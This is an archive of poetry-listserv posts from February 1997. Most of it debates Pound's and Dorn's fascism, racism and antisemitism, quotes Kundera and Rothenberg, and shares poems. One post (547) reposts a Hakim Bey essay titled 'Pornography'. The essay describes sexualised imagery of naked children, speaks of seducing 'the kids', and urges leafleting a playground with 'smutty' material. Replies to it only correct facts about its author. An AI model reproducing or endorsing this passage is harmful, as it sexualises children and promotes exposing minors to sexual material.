Jordan, well (it) was (I) suppose (DeKooning) said (there) is (no longer tragedy our failures are merely (pathetic which I don't think I quite go along with not that I'm not pathetic but I believe being pathetic might also (be a tragedy insofar as (it can be digested.] Still, thoughts do arise. This is the strange and wonderful thing. Or this is. Or this. This has been a Thematic Apperception Test of the Emergency Multiplicity Attachment. It remains uncertain whether negation of any kind is an electric chopper pump. & speckled incident at critical angle. But you're definitely right about dilating. I think I get your drifts.

--Rod

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544. Rachel Loden
Re: Flawed Makers
Mon 17 Feb 1997

David Bromige wrote:
>
> That was y o u r goodness, intelligence, affirmation, sorrow, y o u r
> ability to feel beauty, truth, evil, tyranny, honesty, that you found in
> the poem, whichever poem, into that wordnet you were drawn and from you
> these qualities were made to resound there made apparent, sensuously their
> intelligence apprehended came back to you from this more-than-a-Rorschach
> arrangement of letters. . . So how could you be deceived about an
> experience this personal? Even though the person who put that poem there
> for you to read were evil incarnate and o n l y that? The music from a
> broken heart can resonate for a long, long time.
>
> The above being my take on the poem Ted wrote. Thanks for posting it,
> Anselm. db

Ted's lines, Anselm's poem, yes? It's in his _Corvus_ (Coffee House).

Thanks everybody. What a lovely thread this has turned out to be.

Rachel

↑ Index

545. **nico vassilakis**
nordaDORN
Mon 17 Feb 1997

poets are nothing really
who they are in life
is a curiosit/ic extention of their work
experience
is / of their work
we
better to not
meet a poet

~>?0+1 is 1
if it's allowd 2B

what?
nothing's crazy?

quote "evidence" wood be nice.
(3-1)=2 help us in the dim .
.
.
.
.
.

↑ Index

546. **Michael Boughn**
Re: racism, racist poets
Mon 17 Feb 1997

> *to put it more succinctly, imagine reading tillie olson or that old favorite, meridel leseuer; one lets go, accepts premises willingly, is buoyed up on a respect and admiration verging on worship, learns, opens, takes in an extraordinary synthesis of emotion, compassion, skill, communication, immediateness, clarity...*

I guess maybe that's the difference. I never read that way. I'm always suspicious. In my experience, the categories of "learning" and "worshipping" are exclusive of each other.

(Nor do I feel sure enough of my own purity to go around socking people in the mouth for being bad. Isn't that kinda what the Ayotollah thought he was up to?)

Mike
[redacted]

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547. **David R. Israel**
a Persian diatribe / ..."Chaos--the Rock Video"
Mon 17 Feb 1997

Poetics persons --

looking via Yahoo for something else (as these things go), I stumbled on a poetics-related diatribe by a certain Hakim Bey, a Persian chap who has a number of opinions. Found it here:

http://www.v2.nl/FreeZone/ZoneText/Diversions/Broadsheets/PornographyBS.html

& there's an abstract:

> *File Contents: Excerpt from Chaos: The Broadsheets of Ontological Anarchy by Hakim Bey. This document was gleaned from an excellent Hakim Bey source, Marius Watz's site, and was HTMLized by Tom Jennings.*

The excerpt is entitled "Pornography" (poss. added by Jennings?, not sure -- haven't looked at the orig. source) --

while Bey has various prejudices about contemp. western poetry, etc., I thought his observations about the way poetry is received in the pan-Islamic world (or, anyway, the old Iran of his memory) to be worthy of note -- the term *hal* (tossed out by Bey) being, incidentally, from the old Sufi lexicon, and signifying "a spiritual state" (or sometimes a "state of absorption").

Am appending below what appears in the above-cited excerpt, for poss. general interest, amusement, shrugs, or whatnot.

cheers,
d.i.

p.s.: glancing at the "acknowledgements" note at end of the text, I see that *The Broadsheets of Ontological Anarchism* are likely to be already familiar to some readers of this Listserv. Oh well -- just tossing this morsel into the soup, for what worth.

/ / / / / / / / / / / /

Pornography

IN PERSIA I SAW that poetry is meant to be set to music & chanted or sung--for one reason alone--because it works.

A right combination of image & tune plunges the audience into a hal (something between emotional/aesthetic mood & trance of hyperawareness), outbursts of weeping, fits of dancing--measurable physical response to art. For us the link between poetry & body died with the bardic era--we read under the influence of a cartesian anaesthetic gas.

In N. India even non-musical recitation provokes noise & motion, each good couplet applauded, "Wa! Wa!" with elegant hand-jive, tossing of rupees--whereas we listen to poetry like some SciFi brain in a jar--at best a wry chuckle or grimace, vestige of simian rictus--the rest of the body off on some other planet.

In the East poets are sometimes thrown in prison--a sort of compliment, since it suggests the author has done something at least as real as theft or rape or revolution. Here poets are allowed to publish anything at all--a sort of punishment in effect, prison without walls, without echoes, without palpable existence--shadow-realm of print, or of abstract thought--world without risk or eros.

So poetry is dead again--& even if the mumia from its corpse retains some healing properties, auto-resurrection isn't one of them.

If rulers refuse to consider poems as crimes, then someone must commit crimes that serve the function of poetry, or texts that possess the resonance of terrorism. At any cost re-connect poetry to the body. Not crimes against bodies, but against Ideas (& Ideas-in-things) which are deadly & suffocating. Not stupid libertinage but exemplary crimes, aesthetic crimes, crimes for love. In England some pornographic books are still banned. Pornography has a measurable physical effect on its readers. Like propaganda it sometimes changes lives because it uncovers true desires.

Our culture produces most of its porn out of body-hatred-- but erotic art in itself makes a better vehicle for enhancement of being/consciousness/bliss--as in certain oriental works. A sort of Western tantrik porn might help galvanize the corpse, make it shine with some of the glamor of crime.

America has freedom of speech because all words are considered equally vapid. Only images count--the censors love snaps of death & mutilation but recoil in horror at the sight of a child masturbating--apparently they experience this as an invasion of their existential validity, their identification with the Empire & its subtlest gestures.

No doubt even the most poetic porn would never revive the faceless corpse to dance & sing (like the Chinese Chaos- bird)--but...imagine a script for a three-minute film set on a mythical isle of runaway children who inhabit ruins of old castles or build totem-huts & junk-assemblage nests--mixture of animation, special-effects, compugraphix & color tape-- edited tight as a fastfood commercial...

...but weird & naked, feathers & bones, tents sewn with crystal, black dogs, pigeon-blood--flashes of amber limbs tangled in sheets--faces in starry masks kissing soft creases of skin--androgynous pirates, castaway faces of columbines sleeping on thigh-white flowers--nasty hilarious piss jokes, pet lizards lapping spilt milk--nude break- dancing--victorian bathtub with rubber ducks & pink boners-- Alice on ganja...

...atonal punk reggae scored for gamelan, synthesizer, saxophones & drums--electric boogie lyrics sung by aetherial children's choir--ontological anarchist lyrics, cross between Hafez & Pancho Villa, Li Po & Bakunin, Kabir & Tzara--call it "CHAOS--the Rock Video!"

No…probably just a dream. Too expensive to produce, & besides, who would see it? Not the kids it was meant to seduce. Pirate TV is a futile fantasy, rock merely another commodity--forget the slick gesamtkunstwerk, then. Leaflet a playground with inflammatory smutty feuilletons-- pornopropaganda, crackpot samizdat to unchain Desire from its bondage.

ACKNOWLEDGMENTS CHAOS: THE BROADSHEETS OF ONTOLOGICAL ANARCHISM was first published in 1985 by Grim Reaper Press of Weehawken, New Jersey; a later re-issue was published in Providence, Rhode Island, and this edition was pirated in Boulder, Colorado. Another edition was released by Verlag Golem of Providence in 1990, and pirated in Santa Cruz, California, by We Press. "The Temporary Autonomous Zone" was performed at the Jack Kerouac School of Disembodied Poetics in Boulder, and on WBAI-FM in New York City, in 1990.

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.....
\\\\\\\///\\\\///\\\\///\\\\///\\\\///\\\\///\\\\///\\\\\\\
> david raphael israel <
 >> washington d.c. <<
| [redacted] (home)
| [redacted] (office)
==========
| through recklessness woundingly worthless
| i guess we became:
| the more we became in abandon
| the less we became
///////\\\\///\\\\///\\\\///\\\\///\\\\///\\\\///\\\\///\\\\///////
Mirza Ghalib (according to yours truly)

↑ Index

548. **Diane Marie Ward**
Re: Calling Loss ...
Mon 17 Feb 1997

Loss Sightings....

Loss is out there...
on vacation for a little bit -
he should be back in a week or so..
Jim, will back channel email address.
--

Diane-Marie Ward

On Mon, 17 Feb 1997, Jim Rosenberg wrote:

> *Sorry to bother the whole list with what should be a backchannel matter ...*
>
> *Loss, are you out there? Does anyone know if anything has happened to Loss Glazier? Lawrence Upton is arranging a reading in London (thanks John!!) to correspond with Hypertext 97 visitations, and we need to hear from Loss. If anyone knows of what may have happened to Loss's E-mail connection, please backchannel me.*
>
> *-Thanks, Jim*
>
> *--*
> *Jim Rosenberg* *http://www.well.com/user/jer/*
> *CIS: 71515,124*
> *WELL: jer*
> *Internet:* [redacted]

↑ Index

549. **Jim Rosenberg**
Calling Loss ...
Mon 17 Feb 1997

Sorry to bother the whole list with what should be a backchannel matter ...

Loss, are you out there? Does anyone know if anything has happened to Loss Glazier? Lawrence Upton is arranging a reading in London (thanks John!!) to correspond with Hypertext 97 visitations, and we need to hear from Loss. If anyone knows of what may have happened to Loss's E-mail connection, please backchannel me.

-Thanks, Jim

--
Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

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550. **william marsh**
Jeff Hansen?
Mon 17 Feb 1997

If anyone has Jeff Hansen's email address, would you please backchannel to

[redacted]

Thanks.

bill marsh

↑ Index

551. **Mark Prejsnar**
Evil poets
Mon 17 Feb 1997

In line with what Tosh Berman wrote (someone might be "just plain evil and a great artist"..forcing a reader to "work harder to know the ins-and-outs of that artist's work and deal with it").

Likely few member of the list are unfamiliar with it, but I still think Bernstein's "Pounding Fascism," a chapter in A Poetics, is the best illustration I know of the nuanced and tension-ridden work of "knowing the ins-and-outs" of a body of poetry. Short tho' it is, I've often refered to this as the only indispensible piece I have ever read on Pound--the thing I send people to who are trying to make sense of his abiding weirdness. Useful for understinding vital things about the Cantos as poetry, as well as for addressing the issues we've been raising here.

Mark Prejsnar

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552. **maria damon**
Re: a Persian diatribe / ..."Chaos--the Rock Video"
Mon 17 Feb 1997

david is real; hakim bey is the nom de plume of peter lamborn wilson, who lived in iran for a number of years, but who is not persian. for what it's worth. maria d

↑ Index

553. **John E. Matthias**

Pound/Dorn

Mon 17 Feb 1997

> *Delivery-Date: Sun, 17 Mar 1996 15:09:43 -0500*
> *X-Organization: University of Notre Dame*
> *Date: Sun, 17 Mar 1996 15:07:45 -0500*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *Sender: UB Poetics discussion group <[redacted]>*
> *From: "John E. Matthias" <[redacted]>*
> *Subject: Pound & Fascism, etc.*
> *To: Multiple recipients of list POETICS <[redacted]>*

Re: Pound Trial/Dorn Trial
>
Almost a year ago, during the last Pound trial, I posted the following on trials from Milan Kundera's _Testaments Betrayed_. Because it took so long to type out, I saved it. As I said at the time, I don't agree with everything Kundera says any more than I agree with everything Pound says or Dorn says, but I think this text provides a useful perspective, so I post it again.

John Matthias
>
>I've been reading Milan Kundera's _Testaments Betrayed_ these last couple
>of days & found some good things about the trials, in every sense, of
>writers in our century. In the Chapter called "Paths in the Fog" Kundera's
>focus is Kafka. On pp. 225-240, however, he begins to generalize with a
>rather surprising paragraph on Orwell's _1984_:
>
>"The pernicious influence of Orwell's novel resides in its implacable
>reduction of a reality to its political dimension alone, and in its
>reduction of that dimension to what is exemplarily negative about it. I
>refuse to forgive this reduction on the grounds that it was useful as
>propaganda in the struggle against totalitarian evil. For that evil is,
>precisely, the reduction of life to politics and of politics to propaganda.
>So despite its intentions, Orwell's novel itself joins in the totalitarian
>spirit, the spirit of propaganda. It reduces (and teaches others to reduce)
>the life of a hated society to the simple listing of its crimes."
>
>A little later he goes on like this, reaching back again to Kafka:
>
>"Tribunal: this does not signify the juridical institution intended for

>punishing people who have violated the laws of a state; the tribunal (or
>court) in Kafka's sense is a power that judges, that judges because it is a
>power; its power and nothing but its power is what confers legitimacy on
>the tribunal...
>
>"The trial's memory is colossal, but it is a very specific memory, which
>could be defined as _the forgetting of everything not a crime_. The trial
>thus reduces the defendant's biography to _criminography_; Victor Farias
>(whose _Heidegger and Nazism_is a classic example of criminography) locates
>the roots of the philosopher's Nazism in his early youth, without the least
>concern for locating the roots of his genius; to punish someone accused of
>ideological deviations, Communist tribunals would put _all_ his work on the
>index (thus, for instance, the ban on Lukacs and Sartre in Communist
>countries covered even their pro-Communist writings). "Why are our streets
>still named for Picasso, Aragon, Eluard, Sartre?" a Paris paper asked in a
>1991 post-Communist intoxication; it's tempting to answer: because of the
>value of their works! But in his trial against Europe, Sartre said exactly
>what values mean now: "our cherished values are losing their wings; looked
>at closely, every one of them is blood-stained"; values stained are values
>no longer; the spirit of the trial is the reduction of everything to
>morality; it is absolute nihilism in regard to craft, art, works..."
>
>"For nearly seventy years Europe lived under a trial-regime. From among the
>great artists of the century, how many defendants...I shall mention only
>those who had some significance for me. Starting in the twenties, there
>were those hounded by the tribunal of revolutionary morality: Bunin,
>Andreyev, Meyerhold, Pilnyak, Veprik (a Jewish-Russian musician, a
>forgotten martyr of modern art; he dared to defend Shostakovich's opera
>against Stalin's condemnation; they stuck him in a camp; I remember his
>piano compositions, which my father liked to play), Mandelstam, Halas (the
>poet was adored by Ludvik in _The Joke_; hounded after his death for
>gloominess seen as counterrevolutionary). Then there were the quarry of
>the Nazi tribunal: Broch (he gazes at me, pipe in mouth, from a photo on my
>worktable), Schoenberg, Werfel, Brecht, Thomas and Heinrich Mann, Musil,
>Vancura (the Czech writer I most love), Bruno Schulz. The totalitarian
>empires and their bloody trials have disappeared, but the _spirit of the
>trial_lingers as a legacy, and that is what is now settling scores. Thus
>the trial strikes at: those accused of pro-Nazi sympathies: Hamsun,
>Heidegger (all Czech dissident thought, Patocka most notably, is indebted
>to him), Richard Strauss, Gottfried Benn, von Doderer, Drieu la Rochelle,
>Celine (in 1992, a half century after the war, an indignant official
>refused to designate his house a historical monument); supporters of

>Mussolini: Malaparte, Marinetti, Ezra Pound (the American military kept
>him, like an animal, in a cage for months under the blazing Italian sun; in
>his Reykjavik studio, the painter Kristjan Davidsson showed me a large
>photo of him: 'For fifty years it has gone with me everywhere I go'); the
>Munich appeasers: Giono, "Alain, Morand, Montherlant, St.-John Perse (a
>member of the French delegation to the Munich conference, he was closely
>involved in the humiliation of my native country); then, the Communists and
>their sympathizers: Mayakovsky (who today remembers his love poetry and
his
>amazing metaphors?), Gorky, Shaw, Brecht (who is thereby undergoing his
>second trial), Eluard (that exterminating angel who used to decorate his
>signature with a drawing of crossed swords), Picasso, Leger, Aragon (how
>can I forget that he offered me his hand at a difficult time in my life?),
>Nezval (his self-portrait in oils is on the wall of my bookshelves),
>Sartre. Some of these people are undergoing a double trial, first accused
>of betraying the revolution, then accused for services they had rendered
>earlier: Gide (in the old Communist countries, the symbol of all evil),
>Shostakovich (to atone for his difficult music, he manufactured rubbish for
>the regime's needs; he maintained that for the history of art a worthless
>thing is null and void; he didn't know that for the tribunal it is the
>worthlessness itself that counts), Breton, Malraux (accused yesterday of
>having betrayed revolutionary ideals, accusable tomorrow of having held
>them), Tibor Dery (some works of this Communist writer, who was imprisoned
>after the Budapest massacre, were for me the first great literary,
>nonpropagandistic reply to Stalinism). The most exquisite flower of the
>century, the modern art of the twenties and thirties, was even triply
>accused: first by the Nazi tribunal as _Entartete Kunst_, "degenerate art";
>then by the Communist tribunal as "elitist formalism alien to the people";
>and finally by the triumphant capitalist tribunal as art steeped in
>revolutionary illusions.
>
>"How is it possible that the Soviet Russian chauvinist, the maker of
>versified propaganda, he whom Stalin himself called "the greatest poet of
>our epoch"--how is it possible that Mayakovsky is nevertheless a tremendous
>poet, one of the greatest? Given her capacity for enthusiasm, her emotional
>tears that blur her view of the outside world, wasn't lyric poetry--that
>untouchable goddess--doomed one fateful day to become the beautifier of
>atrocities, their "warmhearted maidservant" (Baudelaire)?....To be a true
>poet and at the same time to support (like Mayakovsky) an incontestable
>horror is a scandal--in the sense of an unjustifiable, unacceptable event,
>one that contradicts logic and yet is real. We are all unconsciously
>tempted to dodge scandals, to behave as though they don't exist. That is

>why we prefer to say that the great cultural figures tainted with the
>horrors of our century were bastards; but it isn't so; if only out of
>vanity, aware that they are seen, looked at, judged, artists and
>philosophers are anxious to be decent and courageous, to be on the right
>side, to be right. That makes the scandal still more intolerable, more
>inexplicable. If we don't want to leave this century just as stupid as we
>entered it, we must abandon the facile moralism of the trial and think
>about this scandal, think it through to the bottom, even if this should
>lead us to question anew all our certainties about man as such.
>
>"But the conformism of public opinion is a force that sets itself up as a
>tribunal, and the tribunal is not there to waste time over ideas, it is
>there to conduct the investigations for trials. And as the abyss of time
>widens between judges and defendants, it is always a lesser experience that
>is judging a greater. The immature sit in judgment on Celine's erring ways
>without realizing that because of these erring ways, Celine's novels
>contain existential knowledge that, if they were to understand it, could
>make them more adult. Because therein lies the power of culture: it redeems
>horror by transforming it into existential wisdom. If the spirit of the
>trial succeeds in annihilating this century's culture, nothing will remain
>of us but a memory of its atrocities sung by a chorus of children."
>
>I didn't mean to type out so much; nor do I agree with everything Kundera
>says. But this is certainly all worth thinking about in the context of the
>continuing trial of poets like Ezra Pound.
>
>John Matthias
>
>

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554. L. Mac Mahon and T.R. Healy

Re: Randolph Healy

Mon 17 Feb 1997

Dear Susan,

Lovely to hear from you. The way the list works I'm sure someone has answered your request. It's raining heavily here, hailstones all that sort of thing. I spent today at a seminar on classroom management. Fortunately the keynote speaker was brilliant and she managed to redefine the topic in the most interesting way. Who'd have thought it could be done?

Our cat's resting quietly in the downstairs bathroom, having had the chop-eration today. It's something I have mixed feelings about, but for that poor cat testosterone seemed to be some kind of rocket fuel. He kept disappearing and arriving back days later looking very decrepit.

I'll enclose a poem though I still haven't found and PNG ancestors. It's just a question of going back far enough.

Love,
Randolph.

Spirals Dance

I think I prefer bottomless chaos,
where there is no plan, hidden or otherwise,
where for ten billion years a universe lay
swollen, unliving, without a soul,
and endlessly creative,
molecules in every possible place
forming, folding, touching, collapsing,
until, in a moment, the threshold was crossed.

And I sensed the weight of those
who lost their footing in the storm
that makes trial pieces of us all.

And everyone I saw
at the apex of a pyramid,
teetering, fragile, the slightest slip
and they might never have made it anyway.
Even a comma.

Fragile, transitory, precarious,
yet how could you miss at every turn
the touch of life's own kiss?
upcurving ash tips trawling every breeze,
Tigris-Euphrates filigree
of nerve tissue in the flight of a bird.
Or from the squeeze-box of blue on a crust
to the samba band of dog rooting in a bin
the same riotous tune drenching every available place.

And at any point it could have been different,
multiple branches and fibres fingering
every particle of the body of the possible.
And every false start, every unexplored strand
winked and returned to emptiness.

Gone, only the illusion left that every line
in the sketches still on show was deliberate.

But, whatever way I put it,
I suppose I saw each living thing
as a collection of collections
of tiny dead spheres
restlessly combining and dissociating.

And even if iron atoms aren't dead,
nor made or iron,
or even if each one is a ferment of paradoxes
without which my heart would not beat,
how can I avoid slipping through a lattice
that offers no foothold for a human self?

Am I here at all?
At the garden exhibition,
dragons' necks swooping and curving,
boas of white bells, crystalline repetition,
disappeared and were replaced
by a landscape of little magnets
attracting, repelling,
lining up with the nearest field,
domains then collapsing under thermal assault,
summing over time to nothing.

Is life alive?
its roots reaching into submicroscopic worlds
where entities exist simultaneously
in arrays of mutually excluding states,
matter itself its breath
attenuated to near, but never, zero.

Or not?
Choose,
if a wave of waves can decide on its own shape.

Tuesday.
Are my thoughts my own?
Neither the world nor its representative replies.
Simple, complex, directed, chaotic?
No answer.
Whatever passes for pattern can be accommodated
as part of a larger random sequence
or result of any of an arbitrary set of laws.

Choose,
and/or take the consequences.

I used to think nature shrank from our touch,
enveloping us in a cocoon of ideas,
every love narcissism,
and hatred a war with oneself.

I don't know what I will think tomorrow.

Even a comma.

And if we are poised on the edge of a scalpel
so is the universe.
The smallest change in Newton's gravitational constant
and stars could not form;
and should the charge mass ratio of the electron
or Planck's constant waver neither atoms nor us.

As if, too, preceding, surrounding this universe
are, were, will be shoals of others,
outside any line or progress,
the mutilated, empty, capable only of spasms,
side by side with the classically profiled,
tone-deaf unreason hammering on every key.

When I heard the expression
"We're all in the same boat"
I took it to mean that we're all in the same kind of boat,
a flotilla of indistinguishable, isolated tubs.
It never occurred to me that it could mean one great craft,
with all the nautical camaraderie which that suggests.

We could be alone,
this universe a die
with everything staked on one toss,
its scale alone ensuring that one planet, one,
whose loss would be no more matter
than an atom falling from your body,
would be a grace note in the immense silence.

Poised.

My daughter is making faces at me through the window
because I wouldn't buy her chocolate,
she standing between her reflection and her shadow.
Present.

And I see a vast double pyramid
expanding into past and future
meeting where the spirals dance
and the mad and sturdy music registers again.

At 04:04 15/02/97 -0500, you wrote:
>I lost Randolph Healy's message; would someone kindly forward me another copy
>(Randolph, are you there?).
>
>Thanks, Susan
>
>

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555. **cris cheek**
Re: a Persian diatribe / ..."Chaos--the Rock Video"
Mon 17 Feb 1997

> *Poetics persons --*
>
> *looking via Yahoo for something else (as these things go), I stumbled on a poetics-related diatribe by a certain Hakim Bey, a Persian chap who has a number of opinions. Found it here:*

Slight worry that this was tongue in cheek (that's 'porn to ruin' me)

but for those who might be beguiled: Hakim Bey (apart from being Peter Lamborn Wilson and often-on the case, editor and cyber-ribber) is hardly Persian. He is however a chap with often hilarious and sometimes engaging opinions.

love and love
cris

↑ Index

556. **John E. Matthias**
Rothenberg on EP
Mon 17 Feb 1997

> *Delivery-Date: Mon, 18 Mar 1996 13:03:17 -0500*
> *Date: Mon, 18 Mar 1996 10:03:29 PST*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *Sender: UB Poetics discussion group <[redacted]>*
> *From: Jerry Rothenberg <[redacted]>*
> *Subject: Re: more on Pound: query for Jerry R.*
> *To: Multiple recipients of list POETICS <[redacted]>*

As it happens, I also saved Jerry Rothenberg's post regarding the last Pound trial, so I thought I'd follow up the Kundera quote with what he had to say last March. I've cleared this with Jerry & send it back with his permission.

John Matthias

> *This is in reply to Tenney's query about my own statement that the the most telling impact of Pound's work was on poets who politically, morally, might have been at the greatest distance from it. To start with my own experience -- growing up0 when I did -- the presence of Pound in the late 1940s was, to say the least, a bewilderment. I was stunned by much of the poetry, both by how it read (the language of it) and by what I heard it saying: anti-war & anti-capital & powerful too in its presentation of a way, a means, of approaching & hoping to shape the world through the poet's means, the poetry itself. I was about 16 years old at a first reading of him & shortly thereafter -- along with the reading -- came the awarding of the Bollingen & the tremendous fuss that that stirred up (close to fifty years ago). With that we were aware also of the extent of Pound's fascism &, as became clearer over the years, the viciousness of the anti-semitism in his World War II broadcasts -- a lunacy of language common to the fringe of homegrown fascists who were also in his entourage. My own first published piece of writing was a letter to the New York Post (a different NY Post at that time) in which I lamented what I thought had happened to Pound and what had become (as it still seems to be) a conundrum around the man & the work the man had given us. There was a lot I didn't know then but knowing it would certainly not have made it easier.*
>
> *I was never, in any sense, a Poundian, since there were too many other threads & lines coming into my awareness to allow a focus (in that sense) on any single individual. But the observation of Pound's impact -- on myself & others -- began shortly after that: the observation that those who were most significantly building on Pound's poetics & actual poetry were not the crazies & the fascist hoods of the John Kasper variety, etc., but poets like Kelly, Olson, Duncan, Mac Low, Blackburn, & before them the whole gallery of "Objectivists" or -- from other directions -- any number of European and Latin American writers -- all of them (as I understood it) with a political and moral sense (coming out of World War II) that was strongly anti-fascist, strongly in opposition to the totalitarian barbarisms for which Pound (in the years of his fascist infatuation) had become a minor flunky. In their context Pound became, remained a vital force -- the proof, through them, of what was right & germinal about him and the proof, conversely, of what was evil -- & banal in Hannah Arendt's sense -- in his succumbing to the "fascist temptation."*
>
> *What Pound offered and in some sense made possible wasn't divorced from the political but wasn't at the same time tied to what became HIS politics. It was a demonstration of how the political -- as history -- could enter the body of the poem -- how the poem could thrive on what Ed Sanders*

(many years later & clearly drawing on Pound) spoke of as "data clusters" defining a new "investigative poetry". I don't need to go on with this, I think, except to note that it was (as far as I can recollect) not the little fascists who learned from this but poets who by disposition and, I believe, commitment were looking for a way out of the fascist & totalitarian nightmare that had threatened to overwhelm our world. And there was also -- stronger in Pound than in most other forerunners in the North American context -- a sense that history & poetry could be redefined, opened up and certainly renewed, and that for this Pound himself (as Charles B., I think, points out in his Pound essays) was a stepping-stone, a guide to things that his fascist leanings would have finally precluded. He was clearly the most extraordinary translator we had by then produced -- not only pointing to Albigensian Provence and to a sense of China speaking to the present, but (coming like Cesaire and the other Negritude poets) from the likes of Frobenius, forming one of the links (but only one) to an African past as a pinnacle, too, of the creative human spirit. It is not to say that this was -- all of it -- of Pound's doing but that he helped to set much of it in motion -- much of what, coming after him & (in some sense in spite of him) -- became essential to our present work.

And, finally, I would point out what was -- for myself & others -- the lesson of Pound's failure -- the lesson of the poet who had in the long run betrayed his poetry. It is a terrible thing to say and it is, I think, a terrible possibility that faces all of us. But it is Pound who also says it best, from the "pull down thy vanity" voice in Canto 81 to the still more telling voice (where he was already into his silence, depression) in Canto 116:

I have brought the great ball of crystal
who can lift it?
Can you enter the great acorn of light?
But the beauty is not the madness
Tho' my errors and wrecks lie about me.
And I am not a demigod,
I cannot make it cohere.

I can read this, anyway, as both a confession of failure (and of betrayal -- of himself & us) and at the same time a triumph of whatevr is there speaking through him. But not Pound alone -- for which let me end, Tenney, by copying out (in what's already a long message) a poem by Julien Beck (of the Living Theater, etc. (a good pacifist & anarchist & anti-fascist), who I think loved all the poets that he mentioned in it. It's one too that Pierre and I are hoping to include -- along with a number of others -- in a section of manifestos for the next volume of Millennium.

Julian Beck's "the state will be served / even by poets"

the breasts of all the women crumpled like gas bags when
neruda wrote his hymn celebrating the explosion of a
hydrogen bomb by soviet authorities
children died of the blistrs of ignorance for a century when
siqueiros tried to assassinate trotsky himself a killer
with gun and ice
pound shimmering his incantations to adams benito and
kung prolonging the state with great translation
cut in crystal
claudel slaying tupi guarani as he flourished cultured
documents and pearls in rio de janeiro when he
served france as ambassador to brazil
melville served by looking for contraband as he worked
in the customs house how many taxes did he requite
how many pillars of the state did he cement in
place tell me tell me tell me stone
spenser serving the faerie queene as a colonial secretary
in ireland sinking the irish back for ten times
forty years no less under the beau monde's brack
seneca served by advising nero on how to strengthen the
state with philosophy's accomplishments
aeschylus served slaying persians at marathon and salamis
aristotle served as tutor putting visions of trigonometrics
in alexander's head
dali and eliot served crowning monarchs with their gold
wallace stevens served as insurance company executive
making poems out of profits
euclides da cunha srved as army captain baritoning troops
and d h lawrence served praising the unique potential of
a king

these are the epics of western culture
these are the flutes of china and the east

everything must be rewritten then

goethe served as a member of the weimar council of state
and condemned even to death

this is the saga of the state which is served

even to death

jr
[redacted]

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557. **David Bromige**
e-ddress for rob mittenthal
Mon 17 Feb 1997

I'd appreciate it if someone cd tell me rob mittenthal's e-ddress. thanks, db.

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558. **Christina Fairbank Chirot**
Re: a Persian diatribe / ..."Chaos--the Rock Video"
Mon 17 Feb 1997

Hakim Bey lives here in Wisconsin--Miekal And could give you more details--
--

His work is flamboyant & enjoyable

Read Rumi

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559. **Aldon L. Nielsen**
Re: On how morality gets into it, according to Olson
Mon 17 Feb 1997

These reminders found in reading Ralph Maud's _Charles Olson's Reading_:

"Olson did not visit Pound after February 1948; he was sick of the man, finally. An irresistable moral force was asserting itself . . . That the interest in Pound's work did not wane is reflected in Olson's library."

" . . . Cagli had brought back the biggest and most ghastly news of all time in the form of drawings he had made at Buchenwald when his artillery unit had opened up the camp: 'the first to look into that compost of civilization.' Olson's poem, 'La Preface,' commissioned by Cagli for the brochure of the New York and Chicago showings of the drawings, was the poet's attempt to resist the utter resistance of this knowledge in such a way that from that stop he might know a new beginning--"

"Cagli and Riboud . . . taught him 'the way a man comes to core . . . the discovery of his own resistance . . . the way a poet--at least--makes himself of USE to society.'"

Must fly back to the state of sin -- for now I remain yours, His most incorrect lowness, the Vicar of Boulder

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560. **shoemakers**
Re: Evil poets
Mon 17 Feb 1997

Yes, I agree about the Bernstein piece. I'd also recommend Jerry McGann's essay, "The Cantos of Ezra Pound, the Truth in Contradiction" (from *Towards a Literature of Knowledge*), one of the first pieces to take on these issues seriously. And more recently, there's Perelman's Pound chapter in *The Trouble with Genius*. Also extremely useful. steve

On Mon, 17 Feb 1997, Mark Prejsnar wrote:

> *In line with what Tosh Berman wrote (someone might be "just plain evil and a great artist"..forcing a reader to "work harder to know the ins-and-outs of that artist's work and deal with it").*
>
> *Likely few member of the list are unfamiliar with it, but I still think Bernstein's "Pounding Fascism," a chapter in A Poetics, is the best illustration I know of the nuanced and tension-ridden work of "knowing the ins-and-outs" of a body of poetry. Short tho' it is, I've often refered to this as the only indispensible piece I have ever read on Pound--the thing I send people to who are trying to make sense of his abiding weirdness. Useful for understinding vital things about the Cantos as poetry, as well as for addressing the issues we've been raising here.*
>
> *Mark Prejsnar*

Steve Shoemaker

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561. **Herb Levy**
Re: e-ddress for rob mittenthal
Mon 17 Feb 1997

Hi David,

He's on the list, but he doesn't check in very often, so here's this:

<[redacted]>

So there.

Bests (from Brookline, Mass)

Herb

> *I'd appreciate it if someone cd tell me rob mittenthal's e-ddress.*
> *thanks, db.*

Herb Levy
[redacted]

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562. **Tom Mandel**
Racism, racist poets
Mon 17 Feb 1997

First of all, to make clear what I might have left unclear, I thought Aldon was on the money not to be drawn into the issue of "who owns the correct point of view." I have no desire to be drawn into it either. I'm sorry Maria Damon doesn't "share (my) complete lack of ambivalence on this score," to the degree that the phrase is an accurate characterization. I should say that I'm not seeking Ed Dorn out or calling him out to give him the ass-kicking he so richly deserves and so expressly has asked for -- that would be unambivalent. I'm just saying that I don't tolerate that kind of bullshit around me. If everyone did no more than that the case would be covered would it not?

As to Anselm's (if [redacted] be his address -- the post is unsigned) excusing "fits of righteousness" (i.e. attacks on Dorn's racism) in the name of "our shared powerlessness in the face of the corporate-feudal world government's brutality" let me say first that I adore Anselm as person and poet and second, sorry, that's a lot of hoohah.

You either do or do not hold a position like Ed Dorn's or the Persian-Fatwa-issuer. The fact that you don't have the power to enslave (or even employ) lots of people doesn't turn your bile into Bal a Versailles. Perhaps Khomeini never intended to act on his Fatwa; it's had its effect hasn't it? Anyway. Ed Dorn can't whip blacks on a chain gang, and he can't turn his anti-semitism into anything very effective either. That's good -- for me, I mean. It ain't a fact in his defense.

Some time in the late fifties, stepping to a podium to give a reading in Germany, Paul Celan found a crudely-drawn anti-Semitic caricature on a slip of paper left on the podium -- left for him to find. That caricature is the visual equivalent of Dorn's "Jew-baiting" (his words). Of Pound's whining bathetic spew. Of Eliot's prim dismissals. It is no different from David Duke for that matter.

Wake up. Every word spoken is spoken by someone to someone. If you can't take it in at that level, your interest in one thing and lack of interest in another is of no value. Rather, it is of the value of choosing a color of paint that goes well with the upholstery you prefer.

Tom Mandel

Tom Mandel
****
Screen Porch * [redacted]
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

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563. **sschu30844**
Re: Randolph Healy
Mon 17 Feb 1997

